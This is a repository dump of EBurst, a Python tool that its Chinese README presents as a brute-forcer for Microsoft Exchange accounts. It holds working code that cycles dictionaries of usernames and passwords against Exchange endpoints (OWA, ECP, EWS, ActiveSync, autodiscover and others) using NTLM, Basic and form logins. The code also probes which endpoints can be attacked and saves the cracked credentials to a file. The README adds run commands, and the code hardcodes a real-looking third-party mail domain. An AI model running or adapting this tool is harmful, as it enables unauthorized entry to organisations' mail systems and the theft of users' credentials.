Repository: grayddq/EBurst Branch: master Commit: f53c0baaca64 Files: 6 Total size: 20.1 KB Directory structure: gitextract_bioaq_xj/ ├── .gitattributes ├── EBurst.py ├── README.md ├── lib/ │ ├── __init__.py │ └── consle_width.py └── requirements.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ *.yar linguist-language=python ================================================ FILE: EBurst.py ================================================ # -*- coding: utf-8 -*- import urllib2, requests, optparse, time, threading, Queue, sys, certifi from base64 import encodestring from requests_ntlm import HttpNtlmAuth from lib.consle_width import getTerminalSize class Check_Exchange_User: def __init__(self, domain, type=None, protocol=None, user=None, userfile=None, password=None, passfile=None, thread=10): self.domain, self.user, self.userfile, self.password, self.passfile, self.thread = domain, user, userfile, password, passfile, thread self.URL = { "autodiscover": {"url": "%s://%s/autodiscover" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"}, "ews": {"url": "%s://%s/ews" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"}, "mapi": {"url": "%s://%s/mapi" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"}, "activesync": {"url": "%s://%s/Microsoft-Server-ActiveSync" % ("http" if protocol == "http" else "https", domain), "mode": "Basic"}, "oab": {"url": "%s://%s/oab" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"}, "rpc": {"url": "%s://%s/rpc" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"}, "api": {"url": "%s://%s/api" % ("http" if protocol == "http" else "https", domain), "mode": "NTLM"}, "owa": {"url": "%s://%s/owa/auth.owa" % ("http" if protocol == "http" else "https", domain), "mode": "HTTP"}, "powershell": {"url": "%s://%s/powershell" % ("http" if protocol == "http" else "https", domain), "mode": "Kerberos"}, "ecp": {"url": "%s://%s/owa/auth.owa" % ("http" if protocol == "http" else "https", domain), "mode": "HTTP"} } self.HEADERS = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko/20100101 Firefox/69.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", } if not user and not userfile: return self.ReqInfo = self.URL[type] self.users = [] # 多线程框架 self.thread_count = 0 self.scan_count = self.found_count = 0 self.lock = threading.Lock() self.console_width = getTerminalSize()[0] - 2 self.msg_queue = Queue.Queue() self.STOP_ME = False threading.Thread(target=self._print_msg).start() # 导入字段用户 self._load_dict() # 结果存储 outfile = domain + '.txt' self.outfile = open(outfile, 'w') # NTLM认证验证 def check_NTLM_userpass(self, user, password, url): try: response = requests.get(url, auth=HttpNtlmAuth(user, password), headers=self.HEADERS) if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code: return True else: return False except: return False # Basic认证验证 def check_Basic_userpass(self, user, password, url): try: HEADERS = self.HEADERS HEADERS["Authorization"] = "Basic %s" % encodestring('%s:%s' % (user, password))[:-1] request = requests.session() request.keep_alive = False response = request.get(url, headers=HEADERS) if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code: return True else: return False except: return False # http认证验证 def check_HTTP_userpass(self, user, password, url, type="ecp"): try: if type == "owa": urldata = "https://mail.netone.co.zw/owa/" else: urldata = "https://mail.netone.co.zw/cep/" HEADERS = self.HEADERS HEADERS["Cache-Control"] = "max-age=0" HEADERS["Content-Type"] = "application/x-www-form-urlencoded" HEADERS[ "Referer"] = "https://" + self.domain + "/owa/auth/logon.aspx?replaceCurrent=1&url=" + urldata HEADERS["Cookie"] = "PrivateComputer=true; PBack=0" data = { "destination": urldata, "flags": "4", "forcedownlevel": "0", "username": user, "password": password, "passwordText": "", "isUtf8": "1" } request = requests.session() request.keep_alive = False response = request.post(url, data=data, headers=HEADERS, allow_redirects=False) if "Location" not in response.headers: return False if "reason" not in response.headers["Location"]: return True else: return False except: return False # 爆破exchange接口 def check_Exchange_Interfac(self, user, password): url, mode = self.ReqInfo["url"], self.ReqInfo["mode"] if mode == "NTLM": if self.check_NTLM_userpass(user, password, url): return True elif mode == "Basic": if self.check_Basic_userpass(user, password, url): return True elif mode == "HTTP": type = "owa" if "/owa" in self.ReqInfo['url'] else "ecp" if self.check_HTTP_userpass(user, password, url, type=type): return True # 导入爆破字典字典 def _load_dict(self): self.msg_queue.put('[+] Initializing, load user pass...') self.queue = Queue.Queue() userdict, passdict = [], [] if self.userfile: with open(self.userfile) as f: for line in f: userdict.append(line.strip()) else: userdict.append(self.user.strip()) if self.password: passdict.append(self.password.strip()) else: with open(self.passfile) as f: for line in f: passdict.append(line.strip()) for user in userdict: for passwd in passdict: dic = {"user": user, "passwd": passwd} self.queue.put(dic) sys.stdout.write('\n') self.msg_queue.put('[+] Found dict infos %s/%s in total' % (len(userdict), len(passdict))) def _print_msg(self): while not self.STOP_ME: try: _msg = self.msg_queue.get(timeout=0.1) except: continue if _msg == 'status': msg = '%s Found| %s groups| %s scanned in %.1f seconds| %s threads' % ( self.found_count, self.queue.qsize(), self.scan_count, time.time() - self.start_time, self.thread_count) sys.stdout.write('\r' + ' ' * (self.console_width - len(msg)) + msg) elif _msg.startswith('[+] Check user pass Info'): sys.stdout.write('\r' + _msg + ' ' * (self.console_width - len(_msg))) else: sys.stdout.write('\r' + _msg + ' ' * (self.console_width - len(_msg)) + '\n') sys.stdout.flush() def _update_scan_count(self): self.last_scanned = time.time() self.scan_count += 1 def _update_found_count(self): self.found_count += 1 # 验证接口有效性,判断是否存在接口爆破的可能 def check_interfac_availab(self): for (k, v) in self.URL.items(): url = v["url"] request = requests.session() request.keep_alive = False try: response = request.get(url, headers=self.HEADERS, allow_redirects=False) if 404 != response.status_code and 301 != response.status_code and 302 != response.status_code and 403 != response.status_code: print u"URL: %s ,code:%s" % (url, response.status_code) + u"\t有效可以爆破" else: print u"URL: %s ,code:%s" % (url, response.status_code) + u"\t失败无法爆破" except: print "URL: %s ,Fail" # 检测接口认证方式开通了哪些,并替换为已开通的方式 def check_url_authenticate(self): self.msg_queue.put('[+] Find target url authenticate method ...') url = self.ReqInfo["url"] mode = self.ReqInfo["mode"] if mode == "HTTP": return True request = requests.session() request.keep_alive = False response = request.get(url, headers=self.HEADERS) authenticate_type = response.headers["WWW-Authenticate"] # 认证方式不为默认类型,则替换为支持的类型 if mode not in authenticate_type: if "NTLM" in authenticate_type: self.ReqInfo["mode"] = "NTLM" elif "Basic" in authenticate_type: self.ReqInfo["mode"] = "Basic" else: return False return True # 开始多线程扫描 def _scan(self): self.lock.acquire() self.thread_count += 1 self.lock.release() while not self.STOP_ME: try: lst_info = self.queue.get(timeout=0.1) except Queue.Empty: break while not self.STOP_ME: self._update_scan_count() self.msg_queue.put('status') if self.check_Exchange_Interfac(lst_info["user"], lst_info["passwd"]): self._update_found_count() msg = ("success user: %s ,password: %s" % (lst_info["user"], lst_info["passwd"])).ljust(30) self.msg_queue.put(msg) self.msg_queue.put('status') self.outfile.write(msg + '\n') self.outfile.flush() break self.lock.acquire() self.thread_count -= 1 self.lock.release() self.msg_queue.put('status') def run(self): # 验证url的认证类型 if not self.check_url_authenticate(): self.msg_queue.put('[+] Unsupport authentication method, system return') return self.msg_queue.put('[+] start scan ...') self.start_time = time.time() for i in range(self.thread): try: t = threading.Thread(target=self._scan, name=str(i)) t.setDaemon(True) t.start() except: pass while self.thread_count > 0: try: time.sleep(1.0) except KeyboardInterrupt, e: msg = '[WARNING] User aborted, wait all slave threads to exit...' sys.stdout.write('\r' + msg + ' ' * (self.console_width - len(msg)) + '\n\r') sys.stdout.flush() self.STOP_ME = True self.STOP_ME = True if __name__ == '__main__': parser = optparse.OptionParser() parser.add_option("-d", dest="domain", help=u"邮箱地址") parser.add_option("-L", dest="userfile", help=u"用户文件") parser.add_option("-P", dest="passfile", help=u"密码文件") parser.add_option("-l", dest="user", help=u"指定用户名") parser.add_option("-p", dest="password", help=u"指定密码") parser.add_option("-T", "--t", dest="thread", type="int", default=100, help=u"线程数量,默认为100") parser.add_option("-C", "--c", dest="check", default=False, action='store_true', help=u"验证各接口是否存在爆破的可能性") parser.add_option("--protocol", dest="protocol", action='store_true', help=u"通讯协议默认https,demo: --protocol http") group = optparse.OptionGroup(parser, "type", u"EBurst 扫描所用的接口") group.add_option("--autodiscover", dest="autodiscover", default=True, action='store_true', help=u"autodiscover接口,默认NTLM认证方式,自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。") group.add_option("--ews", dest="ews", default=False, action='store_true', help=u"ews接口,默认NTLM认证方式,Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互") group.add_option("--mapi", dest="mapi", default=False, action='store_true', help=u"mapi接口,默认NTLM认证方式,Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持") group.add_option("--activesync", dest="activesync", default=False, action='store_true', help=u"activesync接口,默认Basic认证方式,用于移动应用程序访问电子邮件") group.add_option("--oab", dest="oab", default=False, action='store_true', help=u"oab接口,默认NTLM认证方式,用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担") group.add_option("--rpc", dest="rpc", default=False, action='store_true', help=u"rpc接口,默认NTLM认证方式,早期的Outlook还使用称为Outlook Anywhere的RPC交互") group.add_option("--api", dest="api", default=False, action='store_true', help=u"api接口,默认NTLM认证方式") group.add_option("--owa", dest="owa", default=False, action='store_true', help=u"owa接口,默认http认证方式,Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等") group.add_option("--powershell", dest="powershell", default=False, action='store_true', help=u"powershell接口(暂不支持),默认Kerberos认证方式,用于服务器管理的Exchange管理控制台") group.add_option("--ecp", dest="ecp", default=False, action='store_true', help=u"ecp接口,默认http认证方式,Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台") parser.add_option_group(group) options, _ = parser.parse_args() if (options.userfile or options.user) and (options.passfile or options.password) and (options.domain): type = "autodiscover" if options.ews: type = "ews" elif options.mapi: type = "mapi" elif options.activesync: type = "activesync" elif options.oab: type = "oab" elif options.rpc: type = "rpc" elif options.api: type = "api" elif options.owa: type = "owa" elif options.powershell: type = "powershell" elif options.ecp: type = "ecp" scan = Check_Exchange_User(options.domain, type, options.protocol, options.user, options.userfile, options.password, options.passfile, options.thread) scan.run() scan.outfile.flush() scan.outfile.close() elif options.check and options.domain: Check_Exchange_User(options.domain).check_interfac_availab() else: parser.print_help() ================================================ FILE: README.md ================================================ # EBurst 0.1 这个脚本主要提供对Exchange邮件服务器的账户爆破功能,集成了现有主流接口的爆破方式。 搜了一圈互联网上的工具,未发现太优秀的工具,也和本身的需求不是太贴切,故抽时间写了个半自动化的脚本。 ## 作者 ## 咚咚呛 如有其他建议,可联系微信280495355 ## 技术细节 ## 技术细节如下 1、支持多线程爆破 2、支持字典爆破 3、支持爆破漏洞验证功能 4、支持接口认证方式识别并自动切换功能 5、支持爆破的接口如下: https://Exchangeserver/ecp https://Exchangeserver/ews https://Exchangeserver/oab https://Exchangeserver/owa https://Exchangeserver/rpc https://Exchangeserver/api https://Exchangeserver/mapi https://Exchangeserver/powershell https://Exchangeserver/autodiscover https://Exchangeserver/Microsoft-Server-ActiveSync ## 使用 ## 技术细节如下 程序下载 > root# git clone https://github.com/grayddq/EBurst.git > > root# cd EBurst > > root# sudo pip install -r requirements.txt 参数参考 > [root@grayddq EBurst]# ls > EBurst.py lib pic README.md requirements.txt > > [root@grayddq EBurst]# python EBurst.py > Usage: EBurst.py [options] > > Options: > -h, --help show this help message and exit > -d DOMAIN 邮箱地址 > -L USERFILE 用户文件 > -P PASSFILE 密码文件 > -l USER 指定用户名 > -p PASSWORD 指定密码 > -T THREAD, --t=THREAD > 线程数量,默认为100 > -C, --c 验证各接口是否存在爆破的可能性 > --protocol 通讯协议默认https,可无需指定,demo: --protocol http > > type: > EBurst 扫描所用的接口 > > --autodiscover autodiscover接口,默认NTLM认证方式,自Exchange Server 2007开始推出的一项 > 自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。 > --ews ews接口,默认NTLM认证方式,Exchange Web > Service,实现客户端与服务端之间基于HTTP的SOAP交互 > --mapi mapi接口,默认NTLM认证方式,Outlook连接Exchange的默认方式,在2013和2013之后开 > 始使用,2010 sp2同样支持 > --activesync activesync接口,默认Basic认证方式,用于移动应用程序访问电子邮件 > --oab oab接口,默认NTLM认证方式,用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担 > --rpc rpc接口,默认NTLM认证方式,早期的Outlook还使用称为Outlook Anywhere的RPC交互 > --api api接口,默认NTLM认证方式 > --owa owa接口,默认http认证方式,Exchange owa > 接口,用于通过web应用程序访问邮件、日历、任务和联系人等 > --powershell powershell接口(暂不支持),默认Kerberos认证方式,用于服务器管理的Exchange管理控制 > 台 > --ecp ecp接口,默认http认证方式,Exchange管理中心,管理员用于管理组织中的Exchange的Web控 > 制台 > > [root@grayddq EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com > > [root@grayddq EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com --ews ## 程序运行截图 ## ![Screenshot](pic/111.png) ![Screenshot](pic/222.png) 备注:其中多线程框架代码参考了lijiejie开源的代码,在此感谢。 ================================================ FILE: lib/__init__.py ================================================ ================================================ FILE: lib/consle_width.py ================================================ """ getTerminalSize() - get width and height of console - works on linux,os x,windows,cygwin(windows) """ __all__=['getTerminalSize'] def getTerminalSize(): import platform current_os = platform.system() tuple_xy=None if current_os == 'Windows': tuple_xy = _getTerminalSize_windows() if tuple_xy is None: tuple_xy = _getTerminalSize_tput() # needed for window's python in cygwin's xterm! if current_os == 'Linux' or current_os == 'Darwin' or current_os.startswith('CYGWIN'): tuple_xy = _getTerminalSize_linux() if tuple_xy is None: print "default" tuple_xy = (80, 25) # default value return tuple_xy def _getTerminalSize_windows(): res=None try: from ctypes import windll, create_string_buffer # stdin handle is -10 # stdout handle is -11 # stderr handle is -12 h = windll.kernel32.GetStdHandle(-12) csbi = create_string_buffer(22) res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) except: return None if res: import struct (bufx, bufy, curx, cury, wattr, left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) sizex = right - left + 1 sizey = bottom - top + 1 return sizex, sizey else: return None def _getTerminalSize_tput(): # get terminal width # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window try: import subprocess proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE) output=proc.communicate(input=None) cols=int(output[0]) proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE) output=proc.communicate(input=None) rows=int(output[0]) return (cols,rows) except: return None def _getTerminalSize_linux(): def ioctl_GWINSZ(fd): try: import fcntl, termios, struct, os cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234')) except: return None return cr cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2) if not cr: try: fd = os.open(os.ctermid(), os.O_RDONLY) cr = ioctl_GWINSZ(fd) os.close(fd) except: pass if not cr: try: cr = (env['LINES'], env['COLUMNS']) except: return None return int(cr[1]), int(cr[0]) if __name__ == "__main__": sizex,sizey=getTerminalSize() print 'width =',sizex,'height =',sizey ================================================ FILE: requirements.txt ================================================ requests_ntlm==1.1.0 requests==2.18.4